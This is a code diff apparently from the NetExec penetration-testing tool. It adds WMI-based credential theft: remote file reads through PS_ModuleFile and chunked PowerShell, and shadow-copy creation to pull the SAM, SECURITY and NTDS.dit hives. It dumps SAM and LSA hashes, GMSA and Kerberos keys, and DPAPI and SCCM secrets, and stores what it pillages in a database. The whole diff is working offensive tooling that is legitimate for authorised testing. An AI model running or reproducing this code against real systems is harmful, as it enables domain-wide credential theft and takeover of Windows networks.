MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0"))
@@ -47,6 +62,12 @@ class wmi(connection):
}
self.iWbemLevel1Login = None
self.dcom_conn = None
self.namespaces = {}
self._remote_ops = None
self.no_da = None
self.dpapi_system_key = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
@@ -129,8 +150,11 @@ class wmi(connection):
response = MSRPCHeader(buffer)
bindResp = MSRPCBindAck(response.getData())
ntlm_info = parse_challenge(bindResp["auth_data"])
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
dns_hostname = ntlm_info["dns_hostname"] or ""
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
@@ -157,7 +181,7 @@ class wmi(connection):
try:
self.dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = self.dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout, self.logger)
except Exception as e:
self.logger.debug(f"Received error while checking admin: {e}")
if "access_denied" not in str(e).lower():
@@ -173,8 +197,7 @@ class wmi(connection):
else:
try:
self.iWbemLevel1Login = IWbemLevel1Login(iInterface)
_ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.iWbemLevel1Login.RemRelease()
self.get_namespace("//./root/cimv2")
except Exception as e:
if "access_denied" not in str(e).lower():
self.logger.fail(str(e))
@@ -365,6 +388,284 @@ class wmi(connection):
self.logger.success(out)
return True
def read_file(self, remote_path) -> bytes | None:
self.logger.debug(f"Try reading file {remote_path}")
escaped_path = remote_path.replace("\\", "\\\\")
# Load the Namespace
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
if powershellv3_namespace is None:
return None
# Read the file
try:
object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"'
iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path)
obj = iWbemClassObject.getProperties()
file_data = None
for prop_name, prop_value in obj.items():
if prop_name == "FileData":
file_data = prop_value["value"]
break
if len(file_data) < 4:
return None
# Unpack it
file_length = struct.unpack(">I", bytes(file_data[:4]))[0]
return bytes(file_data[4:4 + file_length])
except DCERPCSessionError as e:
if e.error_code == 0x80041006: # WBEM_E_OUT_OF_MEMORY
# With the PS_ModuelFile technique, the file will be loaded into
# WMI process memory. By default, a specific memory space is allocated
# to each WMI provider host process (WMIPrvse.exe). This value can be
# found by querying MemoryPerHost in __ProviderHostQuotaConfiguration class
# in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail
# File is too big, let's try to copy it the dirty way
live_path = re.sub(
r"^\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy\d+",
"C:",
escaped_path,
flags=re.IGNORECASE,
)
# Check file size
def callback_func(iEnumWbemClassObject, records):
wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0]
record = dict(wmi_results.getProperties())
callback_func.size = record["FileSize"]["value"]
callback_func.size = 0
wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{live_path}'"
self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
# Get the file chunk by chunk with command exec
self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.0f}MB. The download might take a LOT of time and use wmi command execution.")
data = b""
chunk_size = 1 * 1024 * 1024 # 1MB - Could not do bigger or it can crash
chunk_count = (callback_func.size + chunk_size - 1) // chunk_size
try:
for i in range(chunk_count):
offset = i * chunk_size
self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}")
powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}"
output = self.execute_psh(powershell_command, get_output=True)
data += base64.b64decode(output)
return data
except Exception as e2:
self.logger.debug(f"Error while downloading {remote_path}: {e2}")
self.logger.fail(f"Could not download {remote_path}")
elif e.error_code == 0x80041002: # WBEM_E_NOT_FOUND
self.logger.fail(f"Cannot find file '{remote_path}'")
else:
self.logger.debug(f"Error while downloading {remote_path}: {e}")
return None
def get_file_single(self, remote_path, download_path):
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
file_data = self.read_file(remote_path)
if file_data is None:
return False
else:
with open(download_path, "wb+") as file:
file.write(file_data)
return True
@requires_admin
def get_file(self):
for src, dest in self.args.get_file:
self.logger.display(f'Copying "{src}" to "{dest}"')
if self.get_file_single(src, dest):
self.logger.success(f'File "{src}" was downloaded to "{dest}"')
else:
self.logger.fail(f'Could not get file "{src}"')
@requires_admin
def sam(self):
def add_sam_hash(sam_hash):
self.logger.highlight(sam_hash)
if "_history" in sam_hash:
return
username, _, lmhash, nthash, _, _, _ = sam_hash.split(":")
# TODO: Implement wmi creds database
add_sam_hash.sam_hashes += 1
add_sam_hash.sam_hashes = 0
output_filename = self.output_file_template.format(output_folder="sam")
bootkey = self.remote_ops.get_bootkey(output_filename)
if bootkey is None:
return
# Get the SAM hive
sam_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SAM"
if not self.get_file_single(sam_hive_path, f"{output_filename}.sam"):
self.logger.fail("Could not get SAM hive")
return
SAM = SAMHashes(
f"{output_filename}.sam",
bootkey,
isRemote=None,
history=self.args.history,
perSecretCallback=lambda secret: add_sam_hash(secret),
)
self.logger.display("Dumping SAM hashes")
SAM.dump()
SAM.export(output_filename)
self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}")
@requires_admin
def lsa(self, quiet=False):
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
if "_SC_GMSA_{84A78B8C" in secret:
gmsa_id = secret.split("_")[4].split(":")[0]
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
currentPassword = blob["CurrentPassword"][:-2]
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
if not quiet:
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
add_lsa_secret.secrets = 0
output_filename = self.output_file_template.format(output_folder="lsa")
bootkey = self.remote_ops.get_bootkey(output_filename)
if bootkey is None:
return
# Get the LSA hive
lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SECURITY"
if not self.get_file_single(lsa_hive_path, f"{output_filename}.security"):
self.logger.fail("Could not get LSA hive")
return
LSA = LSASecrets(
f"{output_filename}.security",
bootkey,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
)
if not quiet:
self.logger.display("Dumping LSA secrets")
LSA.dumpCachedHashes()
LSA.exportCached(output_filename)
LSA.dumpSecrets()
LSA.exportSecrets(output_filename)
if not quiet:
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}")
@requires_admin
def ntds(self):
printed_kerb_keys_banner = False
def add_hash(secret_type, secret):
nonlocal printed_kerb_keys_banner
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
self.logger.display("Kerberos keys:")
printed_kerb_keys_banner = True
# Count the type of secrets
if secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
add_hash.kerb_secrets += 1
else:
add_hash.nt_lm_secrets += 1
# Log the secret based on args
if self.args.enabled:
if "Enabled" in secret:
secret = " ".join(secret.split(" ")[:-1])
self.logger.highlight(secret)
else:
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
self.logger.highlight(secret)
# Filter out computer accounts, history hashes and kerberos keys for adding to db
if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret:
if secret.find("\\") != -1:
_, clean_hash = secret.split("\\")
else:
clean_hash = secret
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
add_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
add_hash.nt_lm_secrets = 0
add_hash.kerb_secrets = 0
add_hash.added_to_db = 0
output_filename = self.output_file_template.format(output_folder="ntds")
bootkey = self.remote_ops.get_bootkey(output_filename)
if bootkey is None:
return
# Get the NTDS.dit file
ntds_file = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit"
if not self.get_file_single(ntds_file, f"{output_filename}.ntds.dit"):
self.logger.fail("Could not download NTDS.dit file")
return
NTDS = NTDSHashes(
f"{output_filename}.ntds.dit",
self.remote_ops.bootkey,
isRemote=False,
history=self.args.history,
noLMHash=True,
justNTLM=not self.args.kerberos_keys,
useVSSMethod=True,
remoteOps=None,
pwdLastSet=False,
resumeSession=None,
outputFileName=f"{output_filename}.ntds",
justUser=self.args.userntds if self.args.userntds else None,
printUserStatus=True,
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret),
)
try:
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
NTDS.dump()
ntds_outfile = f"{output_filename}.ntds"
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile}")
if self.args.kerberos_keys:
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
except Exception as e:
self.logger.fail(e)
@requires_admin
def wmi_query(self, wql=None, namespace=None, callback_func=None):
records = []
@@ -375,8 +676,7 @@ class wmi(connection):
namespace = self.args.wmi_namespace
try:
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
iWbemServices = self.get_namespace(namespace)
iEnumWbemClassObject = iWbemServices.ExecQuery(wql)
except Exception as e:
self.logger.debug(str(e))
@@ -410,7 +710,7 @@ class wmi(connection):
record = dict(wmi_results.getProperties())
records.append(record)
snapshots = self.wmi_query(wql=wql, namespace="root\\cimv2", callback_func=callback_func)
snapshots = self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
if not snapshots:
self.logger.info("No volume shadow copies found.")
return
@@ -422,8 +722,6 @@ class wmi(connection):
@requires_admin
def execute(self, command=None, get_output=False, use_powershell=False):
output = ""
# Execution via -x
if not command and self.args.execute:
command = self.args.execute
@@ -444,7 +742,8 @@ class wmi(connection):
self.iWbemLevel1Login,
self.logger,
self.args.exec_timeout,
self.args.codec
self.args.codec,
self.get_namespace("//./root/cimv2")
)
elif self.args.exec_method == "wmiexec-event":
exec_method = wmiexec_event.WMIEXEC_EVENT(
@@ -452,19 +751,21 @@ class wmi(connection):
self.iWbemLevel1Login,
self.logger,
self.args.exec_timeout,
self.args.codec
self.args.codec,
self.get_namespace("//./root/subscription")
)
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
try:
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
except Exception as e:
self.logger.fail(f"Execute command failed with {self.args.exec_method}: {e}")
return ""
if self.args.execute and get_output:
self.logger.success(f'Executed command: "{command}" via {self.args.exec_method}')
buf = StringIO(output).readlines()
for line in buf:
if get_output and (self.args.execute_psh if use_powershell else self.args.execute):
self.logger.success(f'Executed {"PowerShell " if use_powershell else ""}command: "{command}" via {self.args.exec_method}')
for line in StringIO(output).readlines():
if line.strip():
self.logger.highlight(line.strip())
return output
else:
return output
return output
def execute_psh(self, command=None, get_output=False):
# Execution via -X
@@ -472,15 +773,51 @@ class wmi(connection):
command = self.args.execute_psh
if not self.args.no_output:
get_output = True
return self.execute(command, get_output, use_powershell=True)
output = self.execute(command, get_output, use_powershell=True)
def get_namespace(self, namespace: str) -> IWbemServices:
"""Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache"""
if namespace in self.namespaces:
return self.namespaces[namespace]
self.logger.debug(f"Getting namespace {namespace}")
try:
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
except Exception as e:
self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}")
return None
self.namespaces[namespace] = iWbemServices
return self.namespaces[namespace]
if self.args.execute_psh and get_output:
self.logger.success(f'Executed PowerShell command: "{command}" via {self.args.exec_method}')
buf = StringIO(output).readlines()
for line in buf:
if line.strip():
self.logger.highlight(line.strip())
return output
else:
return output
@property
def remote_ops(self):
if self._remote_ops is None:
self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id)
return self._remote_ops
@requires_admin
def sccm(self):
self.dpapi_triage.triage_sccm()
@requires_admin
def dpapi(self):
self.dpapi_triage.triage_dpapi()
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
address=self.remoteName,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
use_kcache=self.use_kcache,
)
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
+309 -5
View File
@@ -1,25 +1,35 @@
from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String
import base64
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.orm import declarative_base
from nxc.database import BaseDB
from nxc.logger import nxc_logger
Base = declarative_base()
class database(BaseDB):
def __init__(self, db_engine):
self.CredentialsTable = None
self.UsersTable = None
self.HostsTable = None
self.DpapiBackupkeyTable = None
self.DpapiSecretsTable = None
super().__init__(db_engine)
class Credential(Base):
__tablename__ = "credentials"
class User(Base):
__tablename__ = "users"
id = Column(Integer)
domain = Column(String)
username = Column(String)
password = Column(String)
credtype = Column(String)
pillaged_from_hostid = Column(Integer)
__table_args__ = (
PrimaryKeyConstraint("id"),
ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]),
)
class Host(Base):
@@ -33,10 +43,304 @@ class database(BaseDB):
PrimaryKeyConstraint("id"),
)
class DpapiSecret(Base):
__tablename__ = "dpapi_secrets"
id = Column(Integer)
host = Column(String)
dpapi_type = Column(String)
windows_user = Column(String)
username = Column(String)
password = Column(String)
url = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
)
class DpapiBackupKey(Base):
__tablename__ = "dpapi_backupkey"
id = Column(Integer)
domain = Column(String)
pvk = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("domain"),
)
@staticmethod
def db_schema(db_conn):
Base.metadata.create_all(db_conn)
def reflect_tables(self):
self.CredentialsTable = self.reflect_table(self.Credential)
self.UsersTable = self.reflect_table(self.User)
self.HostsTable = self.reflect_table(self.Host)
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
def add_host(self, ip, hostname, port):
"""Check if this host has already been added to the database, if not, add it in."""
hosts = []
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.db_execute(q).all()
# create new host
if not results:
new_host = {
"ip": ip,
"hostname": hostname,
"port": port,
}
hosts = [new_host]
# update existing hosts data
else:
for host in results:
host_data = host._asdict()
# only update column if it is being passed in
if ip is not None:
host_data["ip"] = ip
if hostname is not None:
host_data["hostname"] = hostname
if port is not None:
host_data["port"] = port
if host_data not in hosts:
hosts.append(host_data)
updated_ids.append(host_data["id"])
nxc_logger.debug(f"Update Hosts: {hosts}")
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
self.db_execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
return updated_ids
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
"""Check if this credential has already been added to the database, if not add it in."""
credentials = []
if pillaged_from and not self.is_host_valid(pillaged_from):
nxc_logger.debug("Invalid host")
return
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
)
results = self.db_execute(q).all()
# add new credential
if not results:
new_cred = {
"credtype": credtype,
"domain": domain,
"username": username,
"password": password,
"pillaged_from": pillaged_from,
}
credentials = [new_cred]
# update existing cred data
else:
for creds in results:
# this will include the id, so we don't touch it
cred_data = creds._asdict()
# only update column if it is being passed in
if credtype is not None:
cred_data["credtype"] = credtype
if domain is not None:
cred_data["domain"] = domain
if username is not None:
cred_data["username"] = username
if password is not None:
cred_data["password"] = password
if pillaged_from is not None:
cred_data["pillaged_from"] = pillaged_from
# only add cred to be updated if it has changed
if cred_data not in credentials:
credentials.append(cred_data)
# TODO: find a way to abstract this away to a single Upsert call
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.db_execute(q_users, credentials) # .scalar()
def remove_credentials(self, creds_id):
"""Removes a credential ID from the database"""
self.db_execute(delete(self.UsersTable).where(self.UsersTable.c.id.in_(creds_id)))
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
q = select(self.UsersTable).filter(
self.UsersTable.c.id == credential_id,
self.UsersTable.c.password is not None,
)
results = self.db_execute(q).all()
return len(results) > 0
def get_credentials(self, filter_term=None, cred_type=None):
"""Return credentials from the database."""
# if we're returning a single credential by ID
if self.is_credential_valid(filter_term):
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
elif cred_type:
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
# if we're filtering by username
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
# otherwise return all credentials
else:
q = select(self.UsersTable)
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
self.UsersTable.c.username == username,
self.UsersTable.c.password == password,
self.UsersTable.c.credtype == cred_type,
)
results = self.db_execute(q).first()
return results.id
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.db_execute(q).all()
return len(results) > 0
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
Add domain backupkey
:domain is the domain fqdn
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
backup_key = {"domain": domain, "pvk": pvk_encoded}
try:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
self.db_execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
def get_domain_backupkey(self, domain: str | None = None):
"""
Get domain backupkey
:domain is the domain fqdn
"""
q = select(self.DpapiBackupkeyTable)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
if len(results) > 0:
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
return results
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
self,
host: str,
dpapi_type: str,
windows_user: str,
username: str,
password: str,
url: str = "",
):
"""Add dpapi secrets to nxcdb"""
secret = {
"host": host,
"dpapi_type": dpapi_type,
"windows_user": windows_user,
"username": username,
"password": password,
"url": url,
}
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
self.db_execute(q, [secret]) # .scalar()
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
filter_term=None,
host: str | None = None,
dpapi_type: str | None = None,
windows_user: str | None = None,
username: str | None = None,
url: str | None = None,
):
"""Get dpapi secrets from nxcdb"""
q = select(self.DpapiSecretsTable)
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecretsTable.c.host == host)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
elif windows_user:
like_term = func.lower(f"%{windows_user}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif username:
like_term = func.lower(f"%{username}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
+25
View File
@@ -1,3 +1,7 @@
from argparse import _StoreTrueAction
from nxc.helpers.args import get_conditional_action
def proto_args(parser, parents):
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents)
wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
@@ -10,12 +14,33 @@ def proto_args(parser, parents):
dgroup.add_argument("--local-auth", action="store_true", help="Authenticate locally to each target")
cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering")
cred_gathering_group.add_argument("--dpapi", choices={"cookies"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
cred_gathering_group.add_argument("--use-snapshot-id", action="store", dest="shadow_id", help="Use an existing VSS snapshot ID for SAM, LSA and/or NTDS dump")
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
ntds_arg = cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
cred_gathering_group.add_argument("--history", action="store_true", help="Also retrieve password history (NTDS.dit or SAM)")
# NTDS options
kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)")
exclusive = cred_gathering_group.add_mutually_exclusive_group()
enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)")
kerb_keys_arg.make_required = [ntds_arg]
enabled_arg.make_required = [ntds_arg]
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
egroup = wmi_parser.add_argument_group("Mapping/Enumeration")
egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query")
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)")
files_group = wmi_parser.add_argument_group("File Operations")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cgroup = wmi_parser.add_argument_group("Command Execution")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output")
+87
View File
@@ -0,0 +1,87 @@
from binascii import hexlify
from impacket.examples.secretsdump import LocalOperations
class RemoteOperations:
def __init__(self, connection, shadow_id=None):
self.connection = connection
self.cimv2_namespace = self.connection.get_namespace("//./root/cimv2")
# Cached variables
self.bootkey = None
if shadow_id is not None:
self.connection.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}")
self._shadow_id = shadow_id
self._shadow_copy_path = None
# Keep track if we created a Shadow Copy to delete it later
self.shadow_copy_created = False
def __del__(self):
# If we created a Shadow Copy, delete it
if self.shadow_copy_created:
wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"'
self.connection.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}")
ret = self.cimv2_namespace.DeleteInstance(wmiPath)
if (ret.GetCallStatus(0) & 0xffffffff) != 0:
self.connection.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.")
else:
self.connection.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted")
def create_shadowcopy(self) -> str:
# Creating Shadow Volumes
shadow_id = None
try:
win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy")
self.connection.logger.debug("Trying to create SS remotely via WMI")
result = win32_shadow_copy.Create("C:\\", "ClientAccessible")
self.shadow_copy_created = True
shadow_id = result.ShadowID
self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}")
except Exception as e:
self.connection.logger.fail(f"Cannot create ShadowCopy: {e}")
return shadow_id
def get_shadowcopy_path(self, shadow_id=None) -> str:
if shadow_id is None:
shadow_id = self.shadow_id
device_object = None
try:
iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"')
obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0]
props = obj.getProperties()
shadow_copy = {k: v["value"] for k, v in props.items()}
device_object = shadow_copy["DeviceObject"]
self.connection.logger.debug(f"Found ShadowCopy at {device_object}")
except Exception as e:
self.connection.logger.fail(f"Cannot find ShadowCopy with ID {shadow_id} :{e}")
return device_object
@property
def shadow_id(self):
if self._shadow_id is None:
self._shadow_id = self.create_shadowcopy()
return self._shadow_id
@property
def shadow_copy_path(self):
if self._shadow_copy_path is None:
self._shadow_copy_path = self.get_shadowcopy_path()
return self._shadow_copy_path
def get_bootkey(self, output_filename):
if self.bootkey is not None:
return self.bootkey
